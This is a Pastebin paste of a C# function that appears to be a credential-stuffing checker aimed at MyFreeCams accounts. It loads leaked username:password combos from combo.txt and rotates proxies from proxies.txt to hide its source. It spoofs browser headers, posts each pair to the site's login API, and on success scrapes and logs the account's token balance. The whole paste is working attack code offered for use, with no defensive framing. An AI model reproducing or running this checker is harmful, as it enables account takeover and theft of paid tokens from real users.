Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public static void startcheck()
- {
- Console.Clear();
- Tuple<string, string> result;
- var loadedfile = new Queue<string>(File.ReadAllLines("proxies.txt"));
- var loadedcombo = new Queue<string>(File.ReadAllLines("combo.txt"));
- string usep = loadedfile.ElementAtOrDefault(new Random().Next(1, checked(loadedfile.Count - 1)));
- string text10 = loadedcombo.Dequeue();
- string user = text10.Split(new char[]
- {
- ':'
- })[0];
- string pass = text10.Split(new char[]
- {
- ':'
- })[1];
- try
- {
- HttpRequest httpRequest = new HttpRequest();
- CookieDictionary cookies = new CookieDictionary(false);
- httpRequest.Proxy = new HttpProxyClient(usep);
- httpRequest.Cookies = cookies;
- httpRequest.IgnoreProtocolErrors = true;
- httpRequest.KeepAlive = true;
- httpRequest.ConnectTimeout = 5000;
- httpRequest.Referer = "https://www.myfreecams.com/";
- httpRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36";
- httpRequest.AddHeader("Accept", "text / html, application / xhtml + xml, application / xml; q = 0.9,image / webp,image / apng,*/*;q=0.8");
- httpRequest.AddParam("username", user).AddParam("password", pass).AddParam("ss", "1366x768").AddParam("tz", "5.5");
- string text = "";
- try
- {
- text = httpRequest.Post("https://api.myfreecams.com/login").ToString();
- }
- catch
- {
- Tuple.Create<string, string>(string.Format("{0}:{1}", user, pass), "BAN");
- System.Console.WriteLine("[*] : " + user + ":" + pass);
- }
- if (text.Contains("\"err\":0"))
- {
- string text2 = httpRequest.Get("https://www.myfreecams.com/php/account.php?request=status#token_transfer", null).ToString();
- if (!text2.Contains("token") && !text2.Contains("My Account "))
- {
- result = Tuple.Create<string, string>(string.Format("{0}:{1}", user, pass), "Failed");
- System.Console.WriteLine("[*] : " + user + ":" + pass);
- }
- else
- {
- string value = Regex.Match(text2, "You currently have <b> ([^\"]*) </b> tokens").Groups[1].Value;
- System.Console.WriteLine("[!] : " + user + ":" + pass + value);
- result = Tuple.Create<string, string>(string.Format("{0}:{1}", user, pass), string.Format("Tokens: {0}", value));
- }
- }
- else
- {
- result = Tuple.Create<string, string>(string.Format("{0}:{1}", user, pass), "Failed");
- }
- }
- catch
- {
- result = Tuple.Create<string, string>(string.Format("{0}:{1}", user, pass), "Failed");
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement